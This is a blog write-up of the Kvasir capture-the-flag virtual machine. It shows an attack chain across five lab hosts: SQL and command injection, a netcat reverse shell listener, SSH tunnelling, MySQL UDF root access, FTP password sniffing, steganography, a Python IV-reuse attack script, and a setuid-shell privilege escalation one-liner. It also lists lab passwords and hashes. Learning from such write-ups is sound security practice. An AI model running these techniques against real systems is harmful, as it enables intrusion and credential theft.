I was asked to test Rasta Mouse’s awesome VM called Kvasir some time ago, which I always find an honor. I figured it was time to do a writeup!
Disclaimer: Since I did this VM a while ago, and tested several versions, this write-up is not going to describe my exact thought-process. Sometimes, I’ll skip over one or two steps. I’m sorry for that, but rest assured I gave Kvasir all the love it deserved ;]
After importing the VM into VirtualBox and disabling the USB 2.0 Controller, I booted it up and waited a while. It takes some time for the VM to fully start. Meanwhile, I scanned it with nmap:
1234567891011
bas@tritonal:~$ sudo nmap -sS -T4 10.8.7.101
Starting Nmap 6.00 ( http://nmap.org ) at 2014-11-03 19:00 CET
Nmap scan report for 10.8.7.101
Host is up (0.00092s latency).
Not shown: 999 closed ports
PORT STATE SERVICE
80/tcp open http
MAC Address: 08:00:27:CF:5D:57 (Cadmus Computer Systems)Nmap done: 1 IP address (1 host up) scanned in 39.73 seconds
Hmm. Let’s load up that webpage.
It’s a login page, but we have no valid login. We can create one, but that got me nowhere. Testing for the usual SQL injections did no good. Let’s go and register:
1
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'bas'', 'bas'', 0, NULL)' at line 1
An SQL error! Part of the query that is supposed to add a new user to the database is visible. The 0, NULL values seemed meaningful. It could be that the 0 controls some aspect of the user, like permissions. I injected the following SQL:
After logging in, I was redirected to admin.php:
This smells like command injection to me! Let’s try something:
Cool, we have command injection. Can we get a shell on the box?
bas@tritonal:~$ nc -vlnp 7777
listening on [any]7777 ...
connect to [10.8.7.1] from (UNKNOWN)[10.8.7.101] 39148
$ id
uid=33(www-data)gid=33(www-data)groups=33(www-data)$ whoami
www-data
$ ls
admin.php
index.php
login.php
logout.php
member.php
register.php
submit.php
$ head login.php
<?php
$username=$_POST["username"];$password=$_POST["password"];mysql_connect("192.168.2.200", "webapp", "webapp") or die(mysql_error());mysql_select_db("webapp") or die(mysql_error());$query="SELECT * FROM users where username='$username' AND password='$password'";$result= mysql_query($query) or die(mysql_error());/sbin/ifconfig
eth0 Link encap:Ethernet HWaddr fe:7f:29:91:70:e2
inet addr:192.168.1.100 Bcast:192.168.1.255 Mask:255.255.255.0
inet6 addr: fe80::fc7f:29ff:fe91:70e2/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:249 errors:0 dropped:0 overruns:0 frame:0
TX packets:166 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:38924 (38.0 KiB) TX bytes:31129 (30.3 KiB)eth1 Link encap:Ethernet HWaddr ba:e4:73:90:79:b3
inet addr:192.168.2.100 Bcast:192.168.2.255 Mask:255.255.255.0
inet6 addr: fe80::b8e4:73ff:fe90:79b3/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:119 errors:0 dropped:0 overruns:0 frame:0
TX packets:62 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:19853 (19.3 KiB) TX bytes:5341 (5.2 KiB)
Interesting, there is another box that handles the database. From login.php, I harvested some credentials. Let’s enable an SSH tunnel to access that second box. I transferred over my SSH key to enable a reverse SSH tunnel (a stupid & dangerous thing to do in a real scenario!):
The ssh command was mind-boggling. -fN asks ssh to not run remote commands and background itself; useful for running tunnels. Then,-R requests a reverse tunnel. 13333:192.168.2.200:3306 means “start a tunnel to 192.168.2.200:3306 on port 13333”. The local host is 10.8.7.1, my own box. Finally, the magic ingredient was -o StrictHostKeyChecking=no, which makes ssh skip the verification. Usually, it will ask “add host x to known hosts?”. However, since we have a limited reverse shell instead of a proper tty, this will not allow us to type ‘yes’. Specifying StrictHostKeyChecking=no circumvents this. This allowed me to access the remote database server via the webserver box:
bas@tritonal:~$ mysql -h 127.0.0.1 -P 13333 -u webapp -p
Enter password:
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 42
Server version: 5.5.37-0+wheezy1 (Debian)Copyright (c) 2000, 2014, Oracle and/or its affiliates. All rights reserved.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
Type 'help;' or '\h'for help. Type '\c' to clear the current input statement.
mysql> show databases;+--------------------+
| Database |+--------------------+
| information_schema || mysql || performance_schema || webapp |+--------------------+
4 rows in set(0.01 sec)mysql> use webapp
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
mysql> show tables;+------------------+
| Tables_in_webapp |+------------------+
| todo || users |+------------------+
2 rows in set(0.00 sec)mysql> select * from users;+----------+----------+------+-------+----+
| username | password | dob | admin | id |+----------+----------+------+-------+----+
| bas | bas |0|1|1|| bleh | bleh | bleh |0|2|+----------+----------+------+-------+----+
3 rows in set(0.00 sec)mysql> select * from todo;+----------------------------+
| task |+----------------------------+
| stop running mysql as root |+----------------------------+
1 row in set(0.00 sec)mysql>
mysql is running as root? Interesting, maybe it has FILE permissions, too! Further enumeration of the database:
mysql> use mysql
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
mysql> show tables;+---------------------------+
| Tables_in_mysql |+---------------------------+
| columns_priv || db || event || func || general_log || help_category || help_keyword || help_relation || help_topic || host || ndb_binlog_index || plugin || proc || procs_priv || proxies_priv || servers || slow_log || tables_priv || time_zone || time_zone_leap_second || time_zone_name || time_zone_transition || time_zone_transition_type || user |+---------------------------+
24 rows in set(0.01 sec)mysql> select * from user;+---------------+------------------+-------------------------------------------+-------------+-------------+-------------+-------------+-------------+-----------+-------------+---------------+--------------+-----------+------------+-----------------+------------+------------+--------------+------------+-----------------------+------------------+--------------+-----------------+------------------+------------------+----------------+---------------------+--------------------+------------------+------------+--------------+------------------------+----------+------------+-------------+--------------+---------------+-------------+-----------------+----------------------+--------+-----------------------+
| Host | User | Password | Select_priv | Insert_priv | Update_priv | Delete_priv | Create_priv | Drop_priv | Reload_priv | Shutdown_priv | Process_priv | File_priv | Grant_priv | References_priv | Index_priv | Alter_priv | Show_db_priv | Super_priv | Create_tmp_table_priv | Lock_tables_priv | Execute_priv | Repl_slave_priv | Repl_client_priv | Create_view_priv | Show_view_priv | Create_routine_priv | Alter_routine_priv | Create_user_priv | Event_priv | Trigger_priv | Create_tablespace_priv | ssl_type | ssl_cipher | x509_issuer | x509_subject | max_questions | max_updates | max_connections | max_user_connections | plugin | authentication_string |+---------------+------------------+-------------------------------------------+-------------+-------------+-------------+-------------+-------------+-----------+-------------+---------------+--------------+-----------+------------+-----------------+------------+------------+--------------+------------+-----------------------+------------------+--------------+-----------------+------------------+------------------+----------------+---------------------+--------------------+------------------+------------+--------------+------------------------+----------+------------+-------------+--------------+---------------+-------------+-----------------+----------------------+--------+-----------------------+
| localhost | root | *ECB01D78C2FBEE997EDA584C647183FD99C115FD | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y |||||0|0|0|0|||| db | root | *ECB01D78C2FBEE997EDA584C647183FD99C115FD | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y |||||0|0|0|0|||| 127.0.0.1 | root | *ECB01D78C2FBEE997EDA584C647183FD99C115FD | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y |||||0|0|0|0|||| ::1 | root | *ECB01D78C2FBEE997EDA584C647183FD99C115FD | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y |||||0|0|0|0|||| localhost | debian-sys-maint | *E0E0871376896664A590151D348CCE9AA800435B | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y |||||0|0|0|0|| NULL || 192.168.2.100 | webapp | *BF7C27E734F86F28A9386E9759D238AFB863BDE3 | Y | Y | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N |||||0|0|0|0|| NULL || 192.168.2.100 | root | *ECB01D78C2FBEE997EDA584C647183FD99C115FD | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y |||||0|0|0|0|| NULL |+---------------+------------------+-------------------------------------------+-------------+-------------+-------------+-------------+-------------+-----------+-------------+---------------+--------------+-----------+------------+-----------------+------------+------------+--------------+------------+-----------------------+------------------+--------------+-----------------+------------------+------------------+----------------+---------------------+--------------------+------------------+------------+--------------+------------------------+----------+------------+-------------+--------------+---------------+-------------+-----------------+----------------------+--------+-----------------------+
7 rows in set(0.01 sec)
Aha, the hashed password of the root user! Googling for the hash of the root user landed the password coolwater. Sweet! Next, I wanted to run shell commands as the root user, but for that we need something like lib_mysqludf_sys. Luckily, the root user has ALL permissions and therefore should be able to create files:
1234567891011121314151617181920
bas@tritonal:~$ mysql -h 127.0.0.1 -P 13333 -u root -pcoolwater
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 43
Server version: 5.5.37-0+wheezy1 (Debian)Copyright (c) 2000, 2014, Oracle and/or its affiliates. All rights reserved.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
Type 'help;' or '\h'for help. Type '\c' to clear the current input statement.
mysql> show grants;+--------------------------------------------------------------------------------------------------------------------------------------------+
| Grants for root@192.168.2.100 |+--------------------------------------------------------------------------------------------------------------------------------------------+
| GRANT ALL PRIVILEGES ON *.* TO 'root'@'192.168.2.100' IDENTIFIED BY PASSWORD '*ECB01D78C2FBEE997EDA584C647183FD99C115FD' WITH GRANT OPTION |+--------------------------------------------------------------------------------------------------------------------------------------------+
1 row in set(0.01 sec)
Without going into detail, I made a script that uploaded lib_mysql_udf to the remote server. After registering the right command, this allowed me to run commands. In one go, the script builds the SQL command to install lib_mysql_udf and adds my public key to the authorized SSH keys of the root user:
bas@tritonal:~$ ssh root@localhost -p 2222
The authenticity of host '[localhost]:2222 ([127.0.0.1]:2222)' can't be established.ECDSA key fingerprint is 28:a1:7b:9c:cb:bc:aa:23:02:e1:e8:29:a0:c0:31:b8.Are you sure you want to continue connecting (yes/no)? yesWarning: Permanently added '[localhost]:2222'(ECDSA) to the list of known hosts.
Linux db 3.2.0-4-amd64 #1 SMP Debian 3.2.60-1+deb7u3 x86_64The programs included with the Debian GNU/Linux system are free software;the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sat Sep 27 21:23:54 2014
root@db:~#
Success! But this isn’t the end of Kvasir, not by a long shot…
Enumerating the home directory shows .words.txt, which is needed later. Obviously, flag is a troll :]
But the hash seems uncrackable. So there is a valid user to log into this pure-ftpd server, but celes is not a user on this box… So maybe a user from another box?! I ran tcpdump and whadda-ya-know:
root@db:~# tcpdump -i eth1 -vvv -A
tcpdump: listening on eth1, link-type EN10MB (Ethernet), capture size 65535 bytes
19:33:01.238481 IP (tos 0x0, ttl 64, id 60394, offset 0, flags [DF], proto TCP (6), length 60) 192.168.3.40.56746 > 192.168.3.200.ftp: Flags [S], cksum 0x64c5 (correct), seq 1344587505, win 14600, options [mss 1460,sackOK,TS val 208155 ecr 0,nop,wscale 5], length 0
E..<..@.@......(........P$........9.d..........
..-.........
19:33:01.238872 IP (tos 0x0, ttl 64, id 0, offset 0, flags [DF], proto TCP (6), length 60) 192.168.3.200.ftp > 192.168.3.40.56746: Flags [S.], cksum 0x886f (incorrect -> 0x70f4), seq 2494575209, ack 1344587506, win 14480, options [mss 1460,sackOK,TS val 208155 ecr 208155,nop,wscale 5], length 0
E..<..@.@..{.......(......2iP$....8..o.........
..-...-.....
19:33:01.239764 IP (tos 0x0, ttl 64, id 60395, offset 0, flags [DF], proto TCP (6), length 52) 192.168.3.40.56746 > 192.168.3.200.ftp: Flags [.], cksum 0xd684 (correct), seq 1, ack 1, win 457, options [nop,nop,TS val 208156 ecr 208155], length 0
E..4..@.@......(........P$....2j...........
..-...-.
19:33:01.273258 IP (tos 0x10, ttl 64, id 8054, offset 0, flags [DF], proto TCP (6), length 372) 192.168.3.200.ftp > 192.168.3.40.56746: Flags [P.], cksum 0x6f1c (correct), seq 1:321, ack 1, win 453, options [nop,nop,TS val 208164 ecr 208156], length 320
E..t.v@.@..........(......2jP$......o......
..-$..-.220---------- Welcome to Pure-FTPd [privsep][TLS] ----------
220-You are user number 1 of 50 allowed.
220-Local time is now 19:33. Server port: 21.
220-This is a private system - No anonymous login
220-IPv6 connections are also welcome on this server.
220 You will be disconnected after 15 minutes of inactivity.
19:33:01.273631 IP (tos 0x0, ttl 64, id 60396, offset 0, flags [DF], proto TCP (6), length 52) 192.168.3.40.56746 > 192.168.3.200.ftp: Flags [.], cksum 0xd512 (correct), seq 1, ack 321, win 490, options [nop,nop,TS val 208164 ecr 208164], length 0
E..4..@.@......(........P$....3............
..-$..-$19:33:01.273931 IP (tos 0x0, ttl 64, id 60397, offset 0, flags [DF], proto TCP (6), length 64) 192.168.3.40.56746 > 192.168.3.200.ftp: Flags [P.], cksum 0x420c (correct), seq 1:13, ack 321, win 490, options [nop,nop,TS val 208164 ecr 208164], length 12
E..@..@.@......(........P$....3.....B......
..-$..-$USER celes
19:33:01.273972 IP (tos 0x10, ttl 64, id 8055, offset 0, flags [DF], proto TCP (6), length 52) 192.168.3.200.ftp > 192.168.3.40.56746: Flags [.], cksum 0x8867 (incorrect -> 0xd52b), seq 321, ack 13, win 453, options [nop,nop,TS val 208164 ecr 208164], length 0
E..4.w@.@..........(......3.P$.......g.....
..-$..-$19:33:01.278689 IP (tos 0x10, ttl 64, id 8056, offset 0, flags [DF], proto TCP (6), length 90) 192.168.3.200.ftp > 192.168.3.40.56746: Flags [P.], cksum 0xd679 (correct), seq 321:359, ack 13, win 453, options [nop,nop,TS val 208165 ecr 208164], length 38
E..Z.x@.@..........(......3.P$.......y.....
..-%..-$331 User celes OK. Password required
19:33:01.278954 IP (tos 0x0, ttl 64, id 60398, offset 0, flags [DF], proto TCP (6), length 71) 192.168.3.40.56746 > 192.168.3.200.ftp: Flags [P.], cksum 0x3986 (correct), seq 13:32, ack 359, win 490, options [nop,nop,TS val 208166 ecr 208165], length 19
E..G..@.@......(........P$....3.....9......
..-&..-%PASS im22BF4HXn01
What the heck? Someone, or something, is accessing the ftp server. This yields the credentials celes:im22BF4HXn01. Maybe there is some password re-use going on?
12345678910111213141516171819202122232425262728
root@db:~# ssh celes@192.168.3.40
The authenticity of host '192.168.3.40 (192.168.3.40)' can't be established.ECDSA key fingerprint is 28:a1:7b:9c:cb:bc:aa:23:02:e1:e8:29:a0:c0:31:b8.Are you sure you want to continue connecting (yes/no)? yesWarning: Permanently added '192.168.3.40' (ECDSA) to the list of known hosts.celes@192.168.3.40's password:
Linux dev1 3.2.0-4-amd64 #1 SMP Debian 3.2.60-1+deb7u3 x86_64The programs included with the Debian GNU/Linux system are free software;the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
You have mail.
Last login: Thu Sep 4 09:20:00 2014
celes@dev1:~$ ls -al
total 136
drwxr-xr-x 3 celes celes 4096 Sep 3 22:16 .
drwxr-xr-x 3 root root 4096 Aug 9 23:20 ..
-rw------- 1 celes celes 14 Sep 4 09:16 .bash_history
-rw-r--r-- 1 celes celes 220 Dec 302012 .bash_logout
-rw-r--r-- 1 celes celes 3392 Dec 302012 .bashrc
-rwxr-xr-x 1 celes celes 178 Sep 27 21:29 getLogs.py
-rw-r--r-- 1 celes celes 104613 Sep 3 22:16 kvasir.png
-rw-r--r-- 1 celes celes 675 Dec 302012 .profile
drwx------ 2 celes celes 4096 Sep 3 22:06 .ssh
-rw------- 1 celes celes 0 Sep 27 21:35 .viminfo
Aw yeah! Now I’ve entered a third box… The ftp traffic comes from getLogs.py. Enumerating the box leads to this mail:
1234567891011121314151617
celes@dev1:~$ cat /var/mail/celes
Return-path: <celes@localhost>
Received: from celes by localhost with local(Exim 4.80)(envelope-from <celes@localhost>) id 1XHczw-0000V2-8y
for celes@127.0.0.1; Wed, 13 Aug 2014 19:10:08 +0100
Date: Wed, 13 Aug 2014 19:10:08 +0100
To: celes@127.0.0.1
Subject: Reminder
User-Agent: Heirloom mailx 12.5 6/20/10
MIME-Version: 1.0
Content-Type: text/plain;charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-Id: <E1XHczw-0000V2-8y@localhost>
From: celes@localhost
Terra sent me kvasir.png and challenged me to solve the stupid little puzzle she has running on her machine... *sigh*
OK, let’s have a close look at kvasir.png.
Haha, loving the Stargate reference :) I smell stego! I tried a few programs, like outguess and steghide, but stepic did the trick:
bas@tritonal:~/tmp$ stepic -d -i kvasir.png | xxd -r -p > new
bas@tritonal:~/tmp$ file new
new: PNG image data, 290 x 290, 1-bit colormap, non-interlaced
PNG in a PNG. We need to go deeper…
Ah! This QR code decodes to Nk9yY31hva8q. Could this be terra’s password? And where exactly is terra? I wrote a small python script to scan for other ip addresses and sure enough, it found 192.168.3.50:
123456789101112
celes@dev1:~$ ssh terra@192.168.3.50
The authenticity of host '192.168.3.50 (192.168.3.50)' can't be established.ECDSA key fingerprint is 28:a1:7b:9c:cb:bc:aa:23:02:e1:e8:29:a0:c0:31:b8.Are you sure you want to continue connecting (yes/no)? yesWarning: Permanently added '192.168.3.50' (ECDSA) to the list of known hosts.terra@192.168.3.50's password:
Permission denied, please try again.
terra@192.168.3.50's password: Permission denied, please try again.terra@192.168.3.50's password:
celes@dev1:~$
FAIL. That didn’t work. But the mail said something about a game? I modified a small portscanner in python (taken from here and modified):
12345678910111213141516171819202122232425
#!/usr/bin/pythonfromsocketimport*importsysdefconn(host,port):try:s=socket(AF_INET,SOCK_STREAM)# TCP scan s.connect((host,port))returnsexcept:returnNonedefscan(host,port):sock=conn(host,port)#setdefaulttimeout(1)ifsock:print("[+] port %d: open")%portif__name__=="__main__":print"[!] starting..."ifsys.argv[1]:print"[!] scanning %s"%sys.argv[1]foriinrange(65535):scan(sys.argv[1],int(i))
Which obviously isn’t efficient as:
1234
celes@dev1:~$ for i in `seq 1 65535`;do nc -z -v 192.168.3.50 $i 2>&1| grep 'open';done(UNKNOWN)[192.168.3.50]22(ssh) open
(UNKNOWN)[192.168.3.50]1194(openvpn) : Connection refused
(UNKNOWN)[192.168.3.50]4444(?) open
Let’s see what 4444 has to offer.
1234567891011
celes@dev1:~$ nc 192.168.3.50 4444
Hello Celes & Welcome to the Jumble!
Solve:lrbgaaue
Solve:iahdtsing
Solve:yelpslfrciaiu
Solve:nduyn
Solve:etrdar
Solve:oneantctg
Solve:cnuaditdci
Solve:yhpeltloyipr
Right! This is where I needed .words.txt. The words have been jumbled and we need to return the right words. I wrote a python script for that:
Sweet, a prize! Dumping the prize into a file and decoding it yields an RSA key. Probably the one for terra!
1234567891011121314151617
celes@dev1:~$ cat prize |base64 -d > prize.decoded
celes@dev1:~$ file prize.decoded
prize.decoded: PEM RSA private key
celes@dev1:~$ chmod 600 prize.decoded
celes@dev1:~$ ssh terra@192.168.3.50 -i ./prize.decoded
Enter passphrase for key './prize.decoded':
Linux dev2 3.2.0-4-amd64 #1 SMP Debian 3.2.60-1+deb7u3 x86_64The programs included with the Debian GNU/Linux system are free software;the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
You have mail.
Last login: Thu Sep 4 09:18:19 2014
terra@dev2:~$
It asks for a passphrase, so I entered Nk9yY31hva8q, recovered from kvasir.jpg. Fourth box! Sure enough, this also will not be the last:
Looks like there is another host somewhere in 192.168.4.1/24 waiting for me. After pinging, I found 192.168.4.100. A first portscan showed nothing besides the usual, but a second one gave me something:
123456789
terra@dev2:~$ python portscan.py 192.168.4.100
[!] starting...
[!] scanning 192.168.4.100
[+] port 22: open
terra@dev2:~$ python portscan.py 192.168.4.100
[!] starting...
[!] scanning 192.168.4.100
[+] port 22: open
[+] port 1111: open
Port 1111 is open on the fifth box. Connecting to it seems to yield a shell as locke:
123456789101112131415161718192021222324252627
terra@dev2:~$ nc 192.168.4.100 1111
$ id
uid=1000(locke)gid=1000(locke)groups=1000(locke)$ whoami
locke
$ cd /home
$ ls -alh
total 16K
drwxr-xr-x 4 root root 4.0K Aug 13 14:19 .
drwxr-xr-x 22 root root 4.0K Aug 9 15:38 ..
drwxrwx--- 2 kefka kefka 4.0K Sep 27 21:22 kefka
drwxrwx--- 2 locke locke 4.0K Sep 4 13:38 locke
cd locke
ls -al
total 352
drwxrwx--- 2 locke locke 4096 Sep 4 13:38 .
drwxr-xr-x 4 root root 4096 Aug 13 14:19 ..
-rw------- 1 locke locke 0 Sep 4 10:05 .bash_history
-rw-r--r-- 1 locke locke 220 Dec 302012 .bash_logout
-rw-r--r-- 1 locke locke 3392 Dec 302012 .bashrc
-rw-r--r-- 1 locke locke 675 Dec 302012 .profile
-rw------- 1 locke locke 0 Sep 27 21:37 .viminfo
-rw-r--r-- 1 locke locke 329498 Aug 10 10:32 diskimage.tar.gz
-rwxr--r-- 1 locke locke 42 Aug 13 17:59 littleShell.sh
-rw-r--r-- 1 locke locke 110 Sep 4 13:38 note.txt
$ cat note.txt
Looks like Kefka may have been abusing our removable media policy. I've extracted this image to have a look.
That diskimage.tar.gz looks interesting. I copied it over to my box and unpacked it. It was, unsurprisingly, a disk image, containing Secret.rar. Furthermore, the disk image seemed to be mostly empty. However, browsing through it using a hex-editor, it had one deleted file! The file looked like it used to be a .WAV file. I recovered it:
1234567891011
diskimage: x86 boot sector, code offset 0x3c, OEM-ID "MSDOS5.0", sectors/cluster 2, root entries 512, Media descriptor 0xf8, sectors/FAT 238, heads 255, hidden sectors 63, sectors 122031(volumes > 32 MB) , reserved 0x1, serial number 0xad6f8bf, unlabeled, FAT (16 bit)root@tritonal:/# mount -t vfat -o loop,ro,noexec diskimage /mnt
root@tritonal:/# cd /mnt
root@tritonal:/mnt# ls
Secret.rar
bas@tritonal:~$ dd if=diskimage of=test.wav bs=1skip=263168count=405152
405152+0 records in
405152+0 records out
405152 bytes (405 kB) copied, 1.18141 s, 343 kB/s
bas@tritonal:~$ file test.wav
test.wav: RIFF (little-endian) data, WAVE audio, Microsoft PCM, 16 bit, stereo 22050 Hz
It sounded horrible… yet familiar! I loaded it up in Sonic Visualizer and saw what it sounded like:
Cool. Looks like it shows another one of those passwords. It’s not for kefka, but for Secret.rar:
1234567891011
bas@tritonal:/tmp$ unrar e -pOrcWQi5VhfCo /mnt/Secret.rar
UNRAR 5.00 beta 8 freeware Copyright (c) 1993-2013 Alexander Roshal
Extracting from /mnt/Secret.rar
Extracting MyPassword.txt OK
All OK
bas@tritonal:/tmp$ cat MyPassword.txt
5224XbG5ki2C
Now the last one is for kefka!
12345678910111213141516171819202122
terra@dev2:~$ ssh kefka@192.168.4.100
The authenticity of host '192.168.4.100 (192.168.4.100)' can't be established.ECDSA key fingerprint is 28:a1:7b:9c:cb:bc:aa:23:02:e1:e8:29:a0:c0:31:b8.Are you sure you want to continue connecting (yes/no)? yesWarning: Permanently added '192.168.4.100' (ECDSA) to the list of known hosts.kefka@192.168.4.100's password:
Linux adm 3.2.0-4-amd64 #1 SMP Debian 3.2.60-1+deb7u3 x86_64The programs included with the Debian GNU/Linux system are free software;the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sat Sep 27 20:40:07 2014
kefka@adm:~$ sudo -l
Matching Defaults entries for kefka on this host:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User kefka may run the following commands on this host:
(ALL) NOPASSWD: /opt/wep2.py
This box is the final hurdle. kefka may run /opt/wep2.py as root. That script is not readable nor writeable. Looks like we need to exploit it:
1234567891011121314151617181920212223242526
kefka@adm:~$ sudo /opt/wep2.py &[1] 1560
kefka@adm:~$ netstat -ant
Active Internet connections (servers and established)Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 00 0.0.0.0:22 0.0.0.0:* LISTEN
tcp 00 127.0.0.1:1234 0.0.0.0:* LISTEN
tcp 00 192.168.4.100:22 192.168.4.50:34929 ESTABLISHED
tcp6 00 :::22 :::* LISTEN
kefka@adm:~$ nc localhost 1234=============================Can you retrieve my secret..?
=============================Usage:
'V' to view the encrypted flag
'E' to encrypt a plaintext string (e.g. 'E AAAA')V
89355e:d7172c4f5a691729b8a8cdd4
E AAAA
924ea9:65efc08e
E AAAA
0d2782:98181206
V
305c0c:4255c9f1e049ee1d75b36545
Combined with the name of this script, it looks like I need to do an attack similar to cracking WEP! I made the following script to do it quickly:
#!/usr/bin/pythonfromsocketimport*fromtimeimport*host="127.0.0.1"port=int(1234)s=socket(AF_INET,SOCK_STREAM)s.connect((host,port))keepgoing=1# bannerprints.recv(256)lookup={}# we are going to build a lookup table for the IV and encrypted secret. # this challenge lets us view the encrypted secret and lets us encrypt a message ourselves.# in doing so, it shows "IV:encrypted message". we'll do a stream cipher re-use style attack.# we'll build a lookup table with encrypted secret & the corresponding IV# and if we encounter the same IV for our message, then we can xor the encrypted flag, # encrypted message and plaintext message to get the flag (or actually, the secret salt)whilekeepgoing:s.send("V\n")# request the encrypted secretencryptedKey=s.recv(256).strip()# grab itparts=encryptedKey.split(":")# split & storelookup[parts[0]]=parts[1]s.send("E "+"\xFF"*12+"\n")# ask to encrypt this message (12 x "0xFF", easy to reverse)response=s.recv(256).strip()# grab responseparts=response.split(":")# split itifparts[0]inlookup.keys():# check if the IV is already seen beforek1=int(parts[1],16)# JACKPOT! convert string to hexk2=int(lookup[parts[0]],16)# convert string to hexd1=k1^k2# xor the encrypted secret & encrypted messaged2=d1^0xffffffffffffffffffffffff# xor with plaintext "message"key=hex(d2)[2:-1]# output of hex() is "0x...L", but .decode() doesn't want those charsprintkey# debug output...printkey.decode("hex")# output decrypted secret!!keepgoing=0# stop the loop. we're done!s.close()# close socket. be nice.
This literally cracks it in seconds:
123456789101112131415161718
kefka@adm:~$ sudo /opt/wep2.py &[1] 1565
kefka@adm:~$ time python solve.py
=============================Can you retrieve my secret..?
=============================Usage:
'V' to view the encrypted flag
'E' to encrypt a plaintext string (e.g. 'E AAAA')305736553676774734573156
0W6U6vwG4W1V
real 0m3.003s
user 0m0.780s
sys 0m0.776s
So we’re given another password, 0W6U6vwG4W1V. It’s not the root password, there are no encrypted flags on the box… what should I do with this? This had me stumped for a while. Out of pure desperation, I entered it into the /opt/wep2.py service:
123456789101112131415161718
kefka@adm:~$ sudo /opt/wep2.py &[1] 1583
kefka@adm:~$ nc localhost 1234=============================Can you retrieve my secret..?
=============================Usage:
'V' to view the encrypted flag
'E' to encrypt a plaintext string (e.g. 'E AAAA')0W6U6vwG4W1V
> id
> whoami
Traceback (most recent call last):
File "<string>", line 1, in <module>
NameError: name 'whoami' is not defined
>
Wut? Could this be a python shell?
1234567891011121314151617
> import os; os.system("/bin/cp /bin/sh /tmp/shell; chmod 4777 /tmp/shell")> ^C
kefka@adm:~$ Traceback (most recent call last):
File "/opt/wep2.py", line 94, in <module>
handler(sock, addr) File "/opt/wep2.py", line 74, in handler
sock.send(p1)socket.error: [Errno 32] Broken pipe
[1]+ Exit 1 sudo /opt/wep2.py
kefka@adm:~$ ls /tmp
capture.log shell
kefka@adm:~$ /tmp/shell
# id uid=1001(kefka)gid=1001(kefka)euid=0(root)groups=0(root),1001(kefka)# whoamiroot